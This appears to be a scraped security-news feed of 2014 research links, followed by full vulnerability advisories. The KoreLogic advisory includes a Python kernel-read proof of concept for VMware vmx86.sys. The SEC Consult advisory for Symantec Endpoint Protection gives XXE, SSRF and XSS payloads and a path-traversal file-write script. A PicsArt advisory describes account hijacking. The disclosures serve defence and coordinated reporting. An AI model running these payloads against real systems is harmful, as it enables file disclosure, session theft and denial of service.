Quantcast
Channel: BOT24
Viewing all 8064 articles
Browse latest View live

Paper: The Rotten Tomato Campaign

$
0
0
Malware authors are not shy about borrowing ideas. One of the most typical cases is the
Tomato Garden case,where several different groups used the same zero-day Microsoft Word
exploit.


more here.......http://www.sophos.com/en-us/medialibrary/PDFs/technical%20papers/sophos-rotten-tomato-campaign.pdf

Smuggler - An interactive 802.11 wireless shell without the need for authentication or association

$
0
0
I’ve always been fascinated by wireless communications. The ability to launch seemingly invisible packets of information up into the air without even the need to consider aerodynamics itself seems like some kind of magic.

In my quest to become a wireless wizard I started looking at the 802.11 wireless protocol to find out a little more about it.


more here...........http://blog.spiderlabs.com/2014/11/smuggler-an-interactive-80211-wireless-shell-without-the-need-for-authentication-or-association.html

BE2 Custom Plugins, Router Abuse, and Target Profiles

$
0
0
New observations on BlackEnergy2 APT activity

more here...........http://securelist.com/blog/research/67353/be2-custom-plugins-router-abuse-and-target-profiles/

nogotofail

$
0
0
Nogotofail is a network security testing tool designed to help developers and security researchers spot and fix weak TLS/SSL connections and sensitive cleartext traffic on devices and applications in a flexible, scalable, powerful way. It includes testing for common SSL certificate verification issues, HTTPS and TLS/SSL library bugs, SSL and STARTTLS stripping issues, cleartext issues, and more.

more here........https://github.com/google/nogotofail

CVE-2014-1635 BELKIN N750 BUFFER OVERFLOW

$
0
0
A remote unauthenticated attacker may execute commands as root by sending an unauthenticated crafted POST request to the httpd that serves authentication on the guest login network.

more here.........https://labs.integrity.pt/advisories/cve-2014-1635/

KL-001-2014-004 : VMWare vmx86.sys Arbitrary Kernel Read

$
0
0
Title: VMWare vmx86.sys Arbitrary Kernel Read
Advisory ID: KL-001-2014-004
Publication Date: 2014.11.04
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2014-004.txt


1. Vulnerability Details

     Affected Vendor: VMWare
     Affected Product: Workstation
     Affected Version: 10.0.0.40273
     Platform: Microsoft Windows XP SP3 x86, Microsoft Windows Server 2003 SP2 x86, Microsoft Windows 7 SP1 x86
     CWE Classification: CWE-20: Improper Input Validation
     Impact: Arbitrary Read, Denial-of-Service
     Attack vector: IOCTL

2. Vulnerability Description

     A vulnerability within the vmx86 driver allows an attacker
     to specify a memory address within the kernel and have the
     memory stored at that address be returned to the attacker.

3. Technical Description

     The first four bytes of the InputBuffer parameter passed
     to DeviceIoControl is used as the source parameter in a memcpy
     call. The InputBuffer must be a minimum of eight bytes long in
     order to trigger the vulnerability. The OutputBuffer parameter
     passed to DeviceIoControl is used as the destination address
     for the output from the DeviceIoControl call. In this case,
     the data returned is the same data residing at the source
     paramter of memcpy.  This can therefore be abused in a way
     that allows an attacker to arbitrarily define a kernel address,
     and have the memory stored at that address be returned to the
     attacker at an address residing in userland.

Probably caused by : vmx86.sys ( vmx86+bd6 )

Followup: MachineOwner
---------

kd> .symfix;.reload;!analyze -v
Loading Kernel Symbols
...............................................................
................................................................
...................................................
Loading User Symbols
.........................
Loading unloaded module list
.....
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced.  This cannot be protected by try-except,
it must be protected by a Probe.  Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: ffff0000, memory referenced.
Arg2: 00000000, value 0 = read operation, 1 = write operation.
Arg3: 82c727f3, If non-zero, the instruction address which referenced the bad memory
     address.
Arg4: 00000000, (reserved)

Debugging Details:
------------------

READ_ADDRESS:  ffff0000
FAULTING_IP:
nt!memcpy+33
82c727f3 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
MM_INTERNAL_CODE:  0
DEFAULT_BUCKET_ID:  WIN7_DRIVER_FAULT
BUGCHECK_STR:  0x50
PROCESS_NAME:  python.exe
CURRENT_IRQL:  0
ANALYSIS_VERSION: 6.3.9600.16384 (debuggers(dbg).130821-1623) x86fre
TRAP_FRAME:  822e47dc -- (.trap 0xffffffff822e47dc)
ErrCode = 00000000
eax=ffff2000 ebx=87433558 ecx=00000800 edx=00000000 esi=ffff0000 edi=856a9000
eip=82c727f3 esp=822e4850 ebp=822e4858 iopl=0         nv up ei pl nz ac po nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010212
nt!memcpy+0x33:
82c727f3 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
Resetting default scope
LAST_CONTROL_TRANSFER:  from 82c7a3d8 to 82cc741b
STACK_TEXT:
822e47c4 82c7a3d8 00000000 ffff0000 00000000 nt!MmAccessFault+0x106
822e47c4 82c727f3 00000000 ffff0000 00000000 nt!KiTrap0E+0xdc
822e4858 93572bd6 856a9000 ffff0000 00002000 nt!memcpy+0x33
822e48cc 9357329a 856a9000 00000008 856a9000 vmx86+0xbd6
822e48f8 82c70593 86f0d030 87433540 87433540 vmx86+0x129a
822e4910 82e6499f 871f8b08 87433540 874335b0 nt!IofCallDriver+0x63
822e4930 82e67b71 86f0d030 871f8b08 00000000 nt!IopSynchronousServiceTail+0x1f8
822e49cc 82eae3f4 86f0d030 87433540 00000000 nt!IopXxxControlFile+0x6aa
822e4a00 821210fa 0000007c 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
822e4b14 82cb7685 00000000 00000000 00000000 nt!KiDeliverApc+0x17f
822e4b58 82cb64f7 00000000 85689a10 80000000 nt!KiSwapThread+0x24e
822e4b80 82cb61d5 85689a10 85689ad0 0000008a nt!KiCommitThreadWait+0x1df
822e4bd8 82e639fd 01b1fd01 00000001 822e4bc8 nt!KeDelayExecutionThread+0x2aa
822e4c24 82c771ea 00000001 01b1ff54 01b1ff78 nt!NtDelayExecution+0x8d
822e4c24 777c70b4 00000001 01b1ff54 01b1ff78 nt!KiFastCallEntry+0x12a
01b1ff0c 777c57d4 75a31876 00000001 01b1ff54 ntdll!KiFastSystemCallRet
01b1ff10 75a31876 00000001 01b1ff54 da57de5e ntdll!NtDelayExecution+0xc
01b1ff78 00401ed6 ffffffff 00000001 01b1ff94 KERNELBASE!SleepEx+0x65
01b1ff94 777e37f5 00000000 762fe46a 00000000 kernel32!BaseThreadInitThunk+0xe
01b1ffd4 777e37c8 00401ec0 00000000 00000000 ntdll!__RtlUserThreadStart+0x70
01b1ffec 00000000 00401ec0 00000000 00000000 ntdll!_RtlUserThreadStart+0x1b
STACK_COMMAND:  kb
FOLLOWUP_IP:
vmx86+bd6
93572bd6 83c40c          add     esp,0Ch
SYMBOL_STACK_INDEX:  3
SYMBOL_NAME:  vmx86+bd6
FOLLOWUP_NAME:  MachineOwner
MODULE_NAME: vmx86
IMAGE_NAME:  vmx86.sys
DEBUG_FLR_IMAGE_TIMESTAMP:  539a4f4e
FAILURE_BUCKET_ID:  0x50_vmx86+bd6
BUCKET_ID:  0x50_vmx86+bd6
ANALYSIS_SOURCE:  KM
FAILURE_ID_HASH_STRING:  km:0x50_vmx86+bd6
FAILURE_ID_HASH:  {fc58ae86-f23c-59c4-2a6e-428433bd6080}
Followup: MachineOwner
---------

kd> .frame /c 04; .cxr; .frame /c 03; .cxr; .frame /c 02
04 822e48f8 82c70593 vmx86+0x129a
eax=ffff2000 ebx=87433558 ecx=00000800 edx=00000000 esi=ffff0000 edi=856a9000
eip=9357329a esp=822e48d4 ebp=822e48f8 iopl=0         nv up ei pl nz ac po nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010212
vmx86+0x129a:
9357329a eb63            jmp     vmx86+0x12ff (935732ff)
Resetting default scope
03 822e48cc 9357329a vmx86+0xbd6
eax=ffff2000 ebx=87433558 ecx=00000800 edx=00000000 esi=ffff0000 edi=856a9000
eip=93572bd6 esp=822e4860 ebp=822e48cc iopl=0         nv up ei pl nz ac po nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010212
vmx86+0xbd6:
93572bd6 83c40c          add     esp,0Ch
Resetting default scope
02 822e4858 93572bd6 nt!memcpy+0x33
eax=ffff2000 ebx=87433558 ecx=00000800 edx=00000000 esi=ffff0000 edi=856a9000
eip=82c727f3 esp=822e4850 ebp=822e4858 iopl=0         nv up ei pl nz ac po nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010212
nt!memcpy+0x33:
82c727f3 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

     By using the provided proof-of-concept code, an attacker
     can read data from arbitrary kernel memory addresses. As an
     example, the value of the first entry in HalDispatchTable is
     read. Below is the debugger output, followed by the stdout
     from the proof-of-concept code.

0:000> g
ModLoad: 76170000 7618f000   C:\Windows\system32\IMM32.DLL
ModLoad: 77600000 776cc000   C:\Windows\system32\MSCTF.dll
ModLoad: 1d1a0000 1d1b8000   C:\Python27\DLLs\_ctypes.pyd
ModLoad: 77440000 7759c000   C:\Windows\system32\ole32.dll
ModLoad: 75c60000 75cef000   C:\Windows\system32\OLEAUT32.dll
ModLoad: 77950000 77955000   C:\Windows\system32\Psapi.DLL
ModLoad: 01980000 01d92000   C:\Windows\system32\ntkrnlpa.exe
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\system32\kernel32.dll -
eax=00000000 ebx=00000000 ecx=0021fe68 edx=00000020 esi=778e7380 edi=778e7340
eip=778570b4 esp=0021feb8 ebp=0021fed4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!KiFastSystemCallRet:
778570b4 c3              ret
0:000> db 0x25 L?0x4
00000025  a2 68 04 83

[+] Handle \\.\vmx86 @ 120
[+] HalDispatchTable+0x4(0x82d383fc) == 830468a2

4. Mitigation and Remediation Recommendation

     A patch is not likely to be forthcoming from the vendor. It
     is recommended not to allow users access to the __vmware__
     group unless they are trusted with LocalSystem privileges.

5. Credit

     This vulnerability was discovered by Matt Bergin of KoreLogic
     Security, Inc.

6. Disclosure Timeline

     2014.08.08 - Initial contact; sent VMWare report and PoC.
     2014.08.08 - VMWare acknowledges receipt of vulnerability
                  report.
     2014.08.15 - VMWare asks for clarification on the PoC.
     2014.08.18 - KoreLogic responds to VMWare's request.
     2014.08.18 - VMWare counters that it is the expected behavior
                  for members of the __vmware__ group to be able to
                  read arbitrary memory. Asks KoreLogic to describe
                  the "actionable security item here."
     2014.08.20 - KoreLogic advises VMWare that providing non-admin
                  user accounts with the unmitigated ability to dump
                  the contents of the kernel memory is a security
                  risk.
     2014.08.20 - VMWare suggests modifying the documentation
                  describing the capabilities of the __vmware__
                  group as a solution.
     2014.08.21 - KoreLogic provides VMWare with a mitigation
                  strategy and describes how to patch the
                  vulnerability. KoreLogic requests that a CVE be
                  issued.
     2014.08.25 - VMware states they will continue to review the
                  vulnerability details.
     2014.09.24 - KoreLogic informs VMWare that 30 business days
                  have passed since vendor acknowledgement of the
                  initial report. KoreLogic requests CVE number for
                  the vulnerability, if there is one. KoreLogic also
                  requests vendor's public identifier for the
                  vulnerability along with the expected disclosure
                  date.
     2014.09.26 - VMWare responds that they will contact KoreLogic
                  "next week."
     2014.10.08 - KoreLogic reaches out to VMWare as more than 1 week
                  has elapsed since the last response.
     2014.10.13 - VMWare responds that they have decided the reported
                  vulnerability is not a security issue. VMWare
                  creates a Knowledge Base article comparing the
                  __vmware__ group to a Microsoft Windows Power User
                  account.
     2014.10.14 - 45 business days have elapsed since the
                  vulnerability was reported to VMWare.
     2014.10.14 - KoreLogic requests a CVE for this vulnerability
                  report.
     2014.10.22 - MITRE asks KoreLogic to clarify the vendor's
                  response to the KoreLogic report.
     2014.10.22 - KoreLogic responds with a summary of VMWare's
                  responses to the KoreLogic report.
     2014.10.22 - MITRE responds that there will be no CVE issued for
                  this report, as the vendor is "entitled to define a
                  security policy in which this read access is
                  considered an acceptable risk."
     2014.11.04 - Public disclosure.

7. Proof of Concept

     The code presented below will trigger the issue by forcing
     memory to be read from a blatantly invalid address of
     0xffff0000.

     #!/usr/bin/python2
     #
     # KL-001-2014-004 : VMWare vmx86.sys Arbitrary Kernel Read
     # Matt Bergin (KoreLogic / Smash the Stack)

     from ctypes import *
     from struct import pack
     from os import getpid,system
     from sys import exit
     from binascii import hexlify
     from re import findall
     EnumDeviceDrivers,GetDeviceDriverBaseNameA,CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory,LoadLibraryExA = windll.Psapi.EnumDeviceDrivers,windll.Psapi.GetDeviceDriverBaseNameA,windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory,windll.kernel32.LoadLibraryExA
     GetProcAddress,DeviceIoControlFile,CloseHandle = windll.kernel32.GetProcAddress,windll.ntdll.ZwDeviceIoControlFile,windll.kernel32.CloseHandle
     VirtualProtect,ReadProcessMemory = windll.kernel32.VirtualProtect,windll.kernel32.ReadProcessMemory
     INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0
     handle = CreateFileA("\\\\.\\vmx86",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None)
     if (handle == -1):
             print "[!] Could not open handle, is user part of the __vmware__ group?"
             exit(1)
     print "[+] Handle \\\\.\\vmx86 @ %s" % (handle)
     NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0x100)),0x1000|0x2000,0x40)
     buf = pack('<L',0xcccccccc)*100
     WriteProcessMemory(-1,0x100,buf,len(buf),byref(c_int(0)))
     inputBuffer = pack('<L',0xffff0000) + pack('<L',0x41414141)
     DeviceIoControlFile(handle,0,0,0,byref(c_ulong(8)),0x81014008,inputBuffer,len(inputBuffer),0x75,0xff)
     if (GetLastError() != 0):
             print "[!] caught an error while executing the IOCTL - %s." % (hex(GetLastError()))
             exit(1)
     CloseHandle(handle)


The contents of this advisory are copyright(c) 2014
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v1.0.txt

Paper: Harvesting High Value Foreign Currency Transactions from EMV Contactless Credit Cards without the PIN

$
0
0
In this paper we present an attack, which allows fraudulent
transactions to be collected from EMV contactless credit and debit
cards without the knowledge of the cardholder. The attack
exploits a previously unreported vulnerability in EMV protocol,
which allows EMV contactless cards to approve unlimited value
transactions without the cardholder’s PIN when the transaction is
carried out in a foreign currency. For example, we have found that
Visa credit cards will approve foreign currency transactions for
any amount up to €999,999.99 without the cardholder’s PIN, this
side-steps the £20 contactless transaction limit in the UK. This
paper outlines our analysis methodology that identified the flaw in
the EMV protocol, and presents a scenario in which fraudulent
transaction details are transmitted over the Internet to a “rogue
merchant” who then uses the transaction data to take money from
the victim’s account. In reality, the criminals would choose a
value between €100 and €200, which is low enough to be within
the victim’s balance and not to raise suspicion, but high enough to
make each attack worthwhile. The attack is novel in that it could
be operated on a large scale with multiple attackers collecting
fraudulent transactions for a central rogue merchant which can be
located anywhere in the world where EMV payments are
accepted.

more here.........http://homepages.cs.ncl.ac.uk/budi.arief/home.formal/Papers/CCS2014.pdf

WireLurker: A New Era in OS X and iOS Malware

$
0
0
Today we published a new research paper on WireLurker, a family of malware targeting both Mac OS and iOS systems for the past six months. We believe that this malware family heralds a new era in malware attacking Apple’s desktop and mobile platforms based on the following characteristics:

more here...........http://researchcenter.paloaltonetworks.com/2014/11/wirelurker-new-era-os-x-ios-malware/

What You Need to Know About WireLurker

$
0
0
Mobile Security company Palo Alto Networks has released a new white paper titled WireLurker: A New Era in iOS and OS X Malware. I’ve gone through their findings, and also managed to get a hold of the WireLurker malware to examine it first-hand (thanks to Claud Xiao from Palo Alto Networks, who sent them to me). Here’s the quick and dirty about WireLurker; what you need to know, what it does, what it doesn’t do, and how to protect yourself.

more here.........http://www.zdziarski.com/blog/?p=4140

Root Cause Analysis of CVE-2014-1772 – An Internet Explorer Use After Free Vulnerability

$
0
0
We see many kinds of vulnerabilities on a regular basis. These range from user-after-free (UAF) vulnerabilities, to type confusion, to buffer overflows, to cross-site scripting (XSS) attacks. It’s rather interesting to understand the root cause of each of these vulnerability types, so we looked at the root cause of an Internet Explorer vulnerability - CVE-2014-1772.

more here........http://blog.trendmicro.com/trendlabs-security-intelligence/root-cause-analysis-of-cve-2014-1772-an-internet-explorer-use-after-free-vulnerability/

Malicious iFrame Injector Found in Adobe Flash File (.SWF)

$
0
0
Finding malware in Adobe Flash files (.swf) is nothing new, but it usually affects personal computers, not servers. Typically, a hidden iFrame is used to drop a binary browser exploit with .SWF files, infecting the client machine.

This time we saw the opposite, where a binary .SWF file injects an invisible iFrame. This is an example of a malicious hidden iFrame injector written in Flash. This is also awesome proof of what I said in a recent post: If a piece of malware can be written in one language, it will be written in others, sooner or later.

more here..........http://blog.sucuri.net/2014/11/malicious-injector-in-swf-adobe-flash-file.html

“CVE-2014-8517″ vulnerability: Remote command execution in FreeBSD

$
0
0
[CVE-2014-8517] – a dangerous vulnerability in FTP-client, which allows the attacker to use a utility ftp.exe interactively and execute arbitrary commands on the victim’s computer.

The vulnerability is due to an error in the function “fetch_url ()” in the script /src/usr.bin/ftp/fetch.c  when processing URL. A remote user can execute arbitrary code on the target system.

more here..........http://malwarelist.net/2014/11/05/remote-command-execution-in-freebsd/

SEC Consult SA-20141106-0 :: XXE & XSS & Arbitrary File Write vulnerabilities in Symantec Endpoint Protection

$
0
0
SEC Consult Vulnerability Lab Security Advisory < 20141106-0 >
=======================================================================
              title: XXE & XSS & Arbitrary File Write vulnerabilities
            product: Symantec Endpoint Protection
 vulnerable version: 12.1.4023.4080
      fixed version: 12.1.5 (RU 5)
             impact: Critical
         CVE number: CVE-2014-3437, CVE-2014-3438, CVE-2014-3439
           homepage: http://www.symantec.com
              found: 2014-07-01
                 by: Stefan Viehböck
                     SEC Consult Vulnerability Lab
                     https://www.sec-consult.com
=======================================================================


Vendor description:
-------------------
"Symantec Endpoint Protection is a client-server solution that protects
laptops, desktops, Windows and Mac computers, and servers in your network
against malware. Symantec Endpoint Protection combines virus protection with
advanced threat protection to proactively secure your computers against known
and unknown threats.
Symantec Endpoint Protection protects against malware such as viruses, worms,
Trojan horses, spyware, and adware. It provides protection against even the
most sophisticated attacks that evade traditional security measures, such as
rootkits, zero-day attacks, and spyware that mutates. Providing low maintenance
and high power, Symantec Endpoint Protection communicates over your network to
automatically safeguard for both physical systems and virtual systems against
attacks."

Source:
https://www.symantec.com/endpoint-protection
https://www.symantec.com/business/support/index?page=content&id=DOC6153


Business recommendation:
------------------------
Attackers are able to perform denial-of-service attacks against the Endpoint
Protection Manager which directly impacts the effectiveness of the client-side
endpoint protection. Furthermore, session identifiers of users can be stolen
to impersonate them and gain unauthorized access to the server.

All of these attacks can have a severe impact on the security infrastructure.
An update to the latest version (12.1.5 RU 5) is highly recommended.



Vulnerability overview/description:
-----------------------------------
1) XML External Entity Injection (XXE) [CVE-2014-3437]
Multiple XXE vulnerabilities were found in the Endpoint Protection Manager
application. An attacker needs to perform MitM attacks to impersonate
securityresponse.symantec.com (eg. via DNS poisoning/spoofing/hijacking,
ARP spoofing, QUANTUM-style attacks, ...) to inject malicious XML code.
These vulnerabilities can be used to execute server side request
forgery (SSRF) attacks used for portscanning/fingerprinting, denial of service,
file disclosure as well as attacks against functionality that is only
exposed internally (see CVE-2013-5015 and issue #3).

Note:
The exploitation scenario proves that the previous command execution via
SQL injection was exploitable for an external attacker with the ability to
manipulate internet traffic _without any prior knowledge_ of the target system.


2) Reflected Cross-Site-Scripting (XSS) [CVE-2014-3438]
Endpoint Protection Manager suffers from a reflected cross-site scripting
vulnerability, which allows an attacker to steal other users' sessions, to
impersonate other users and to gain unauthorized access to the admin interface.


3) Unauthenticated Arbitrary File Write/Overwrite [CVE-2014-3439]
Arbitrary files can be written or overwritten by an unauthenticated attacker.
The target file is truncated in the process which results in Denial of Service.
However it might be possible to write files with arbitrary content nonetheless.



Proof of concept:
-----------------
1) XML External Entity Injection (XXE) [CVE-2014-3437]
The Symantec Protection Center component downloads XML files from
http://securityresponse.symantec.com for information purposes.
By impersonating securityresponse.symantec.com (eg. via DNS
poisoning/spoofing/hijacking, ARP spoofing, QUANTUM-style attacks, ...) an
attacker can inject malicious XML code into the file contents and thus exploit
XXE vulnerabilities.

For example by offering the following XML code at the URL
http://securityresponse.symantec.com/avcenter/deepsightkiosk/9.xml
arbitrary files can be disclosed via the Symantec Protection Center login
page at https://<HOST>:8443/portal/Login.jsp

===============================================================================
<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE a [<!ENTITY e SYSTEM 'file:///c:/windows/win.ini'> ]>

<data>
  <regular>
    <text>&e;</text>
  </regular>
  <outbreak></outbreak>
  <threatcon>1</threatcon>
</data>
===============================================================================


Server Side Request Forgery (SSRF) can be  exploited like in the following
example that sets the application log level to "log all messages" eg. via
http://securityresponse.symantec.com/avcenter/deepsightkiosk/10.xml

===============================================================================
<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE a [<!ENTITY e SYSTEM
'http://localhost:9090/servlet/ConsoleServlet?ActionType=ConfigServer&logLevel=ALL'> ]>
<foo>&e;</foo>
===============================================================================

Furthermore some files can be exfiltrated to remote servers via the
techniques described in:
https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-wp.pdf
http://vsecurity.com/download/papers/XMLDTDEntityAttacks.pdf


2) Reflected Cross-Site-Scripting (XSS) [CVE-2014-3438]
At least the following URLs are vulnerable to XSS:
https://<HOST>:8443/console/Highlander_docs/SSO-Error.jsp?ErrorMsg=<script>alert('xss')</script>
https://<HOST>:8443/portal/Loading.jsp?uri=Ij48c2NyaXB0PmFsZXJ0KCd4c3MnKTwvc2NyaXB0Pj9BQUFBPUJCQkIiPjxzY3JpcHQ%2bYWxlcnQoJ3hzcycpPC9zY3JpcHQ%2b


3) Unauthenticated Arbitrary File Write/Overwrite [CVE-2014-3439]
A flaw in ConsoleServlet allows an attacker to specify the application server
thread name via the ActionType parameter. As the thread name is used in
the pattern that is passed to the java.util.logging.FileHandler constructor
by the logging component (ServerLogger) an attacker can define the log file
path. By causing an exception in the thread, the log file is written to
disk.
The following code snippet causes an exception by terminating the TCP
connection before the server has finished writing the response to the socket.

ActionType=/../../../../../../../../../../WINDOWS/win.ini causes the win.ini
file to be truncated.

===============================================================================
import socket
import struct

HOST = '<HOST>'
PORT = 9090
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
l_onoff = 1
l_linger = 0
s.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER,struct.pack('ii', l_onoff, l_linger))

msg = '''GET
/servlet/ConsoleServlet?ActionType=/../../../../../../../../../../WINDOWS/win.ini
HTTP/1.1
Host: SYMEPP
EvilContent: <?php evilcode(); ?>

'''

s.sendall(msg)
s.shutdown(socket.SHUT_RD)
===============================================================================


ActionType=/../../Inetpub/Reporting/evil.php causes the (empty) file
evil.php to be written into the Apache webroot.

ActionType=/../../Inetpub/Reporting/evil.php causes the file
evil-0.log to be written into the Apache webroot.

If the application log level has been set to "DEBUG" (which can be achieved
via XXE, see issue #1) the file content includes all headers passed in the
HTTP request (including the EvilContent header in the example above). However
the file will not be processed by PHP because of the .log extension. Due to
the complex nature of the Windows filesystem addressing modes (legacy/DOS,
ADS, etc.) it is entirely possible that this limitation can be bypassed.



Vulnerable / tested versions:
-----------------------------
The vulnerabilities have been verified to exist in Symantec Endpoint Protection
version 12.1.4023.4080, which was the most recent version at the time of discovery.


Vendor contact timeline:
------------------------
2014-07-11: Initial contact to secure@symantec.com
2014-07-29: Ask for status at secure@symantec.com
2014-08-01: Conference call about status, extended grace period to 2014-10-31
September/October: Several discussions / rechecks of the vulnerabilities
2014-11-06: Coordinated release of the advisory


Solution:
---------

1) XML External Entity Injection (XXE) [CVE-2014-3437]

Update to version 12.1.5 RU 5

2) Reflected Cross-Site-Scripting (XSS) [CVE-2014-3438]

Update to version 12.1.5 RU 5

3) Unauthenticated Arbitrary File Write/Overwrite [CVE-2014-3439]

The update to version 12.1.5 RU 5 only partially mitigates the vulnerability.
Path Traversal is no longer possible, which reduces the severity to
low/medium. The vendor claims that it will be entirely solved in the next
version (12.1.5 RU6).


For further information see the security advisory of the vendor:
http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20141105_00


Workaround:
-----------
See Symantec security advisory for further mitigations.


Advisory URL:
--------------
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab

SEC Consult
Vienna - Bangkok - Frankfurt/Main - Montreal - Singapore - Vilnius - Zurich

Headquarter:
Mooslackengasse 17, 1190 Vienna, Austria
Phone:   +43 1 8903043 0
Fax:     +43 1 8903043 15

Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

Interested in working with the experts of SEC Consult?
Write to career@sec-consult.com

EOF Stefan Viehböck / @2014

FROM 0-DAY TO EXPLOIT – BUFFER OVERFLOW IN BELKIN N750 (CVE-2014-1635)

$
0
0
A vulnerability in the guest network web interface of the Belkin N750 DB Wi-Fi Dual-Band N+ Gigabit Router with firmware F9K1103_WW_1.10.16m, allows an unauthenticated remote attacker to gain root access to the operating system of the affected device. The guest network functionality is default functionality and is delivered over an unprotected wifi network.

Successful exploitation of the vulnerability enables the attacker to gain full control of the affected router.

more here..........https://labs.integrity.pt/articles/from-0-day-to-exploit-buffer-overflow-in-belkin-n750-cve-2014-1635/

Using SystemTap to determine the exploitability of unbound memory overflows

$
0
0
Hello, my name is Nikos Naziridis and I am a security researcher at CENSUS. In this post, I will present how SystemTap and kernel instrumentation in general, could be used to aid the process of determining the exploitability of unbound memory overflows and the detection of thread race condition bugs.

more here..........http://census-labs.com/news/2014/11/06/systemtap-unbound-overflow/

Cryptolocker variant Torrentlocker making new victims in NL

$
0
0
Since past weekend, the Netherlands were hit with another spam run spreading the Cryptolocker variant known as Torrentlocker. Torrentlocker presents itself to victims as Cryptolocker in all cases, however this is a completely different malware.

more here..........http://blog.fox-it.com/2014/11/06/cryptolocker-variant-torrentlocker-making-new-victims-in-nl/

Insecure management of login credentials in PicsArt Photo Studio for Android [STIC-2014-0426]

$
0
0
Fundación Dr. Manuel Sadosky - Programa STIC Advisory
      http://www.fundacionsadosky.org.ar

Insecure management of login credentials in PicsArt Photo Studio for
Android

1. *Advisory Information*

Title: Insecure management of login credentials in PicsArt Photo
Studio for Android
Advisory ID: STIC-2014-0426
Advisory URL: http://www.fundacionsadosky.org.ar/publicaciones-2
Date published: 2014-11-06
Date of last update: 2014-11-06
Vendors contacted: PicsArt
Release mode: Unilateral release

2. *Vulnerability Information*

Class: Improper Certificate Validation [CWE-295], Insufficiently
Protected Credentials [CWE-522]
Impact: Data loss
Remotely Exploitable: Yes
Locally Exploitable: Yes
CVE Identifier: CVE-2014-5674, CVE-2014-NOCVE

3. *Vulnerability Description*

PicsArt Photo Studio is a free and full featured photo-editing and
drawing mobile app available on Android, iOS and Windows Phone. As of
October, 2014 the Android version of the app had between 100 and 500
million downloads from the Google Play store. According to the vendor
the app has been installed more than 175 million times, has a 7
million monthly growth and more than 45 million monthly active
users[1]. Users can take, edit, publish and share photos on the
PicsArt website and on popular social networks such as Facebook,
Twitter and Google+ directly from the mobile app.

Originally the PicsArt application for Android[2] did not use HTTPS to
send security-sensitve information to the servers, allowing attackers
to hijack PicsArt user accounts simply by capturing network traffic.
After our original report to the vendor in May 2014, the app started
using HTTPS but it does not validate the server's SSL certificate,
allowing an attacker to perform Man-In-The-Middle attacks. PicsArt
user accounts can still be hijacked by capturing the user id sent as
value of the 'key' parameter in certain HTTPS GET requests.

Additionally, a user can sign up to PicsArt using her Facebook,
Twitter or Google+ account or using a standard email and password
scheme. When the user signs up using a third party social network
account, the user ID and access token obtained from those social
networks are sent to the PicsArt servers to identify the user during
the login phase.

This implies that the PicsArt servers, not just the PicsArt Photo
Studio application running on thte user's device, can impersonate the
user on the social networks. However the PicsArt server API does not
verify if the user's Google+, Facebook or Twitter access token is
valid during the login of the Android application. As a result, an
attacker can send a login request providing only a social network ID
to obtain the PicsArt's credentials associated to that
Google+/Facebook/Twitter user. This allows the attacker to obtain
access to any user account created from a social network account. The
attacker can also steal access tokens of PicsArt users to third party
social networks such as Facebook, Twitter, Google+, etc. This issue
affects all PicsArt user's who access their account via
Google+/Facebook/Twitter.

4. *Vulnerable packages*

  . PicsArt Photo Studio for Android application prior or equal to
version 4.6.12 and greater than 4.6.3 uses HTTPS but does not validate
the SSL server certificate.
  . PicsArt Photo Studio for Android application prior to version
4.6.3 and greater than 4.2.2 uses both HTTP and HTTPS and does not
validate the SSL server certificate.
  . PicsArt Photo Studio for Android application prior to version
4.2.2 does not use HTTPS to receive and transmit security sensitive data.

5. *Vendor Information, Solutions and Workarounds*

  After the initial report to the vendor, PicsArt released version
4.2.2. This version started using HTTPS for most, but not all, of the
server API. Since 4.6.3 there are no API methods that leak the user's
session key using HTTP. Adding HTTPS communication to the server in
4.2.2 didn't help fixing the problem since the application lacks of
certificate validation allowing Man-in-the-Middle attacks. Despite
several notifications sent to PicsArt, the last version (4.6.12, as of
publication of this advisory) is still missing proper certificate
validation checks.
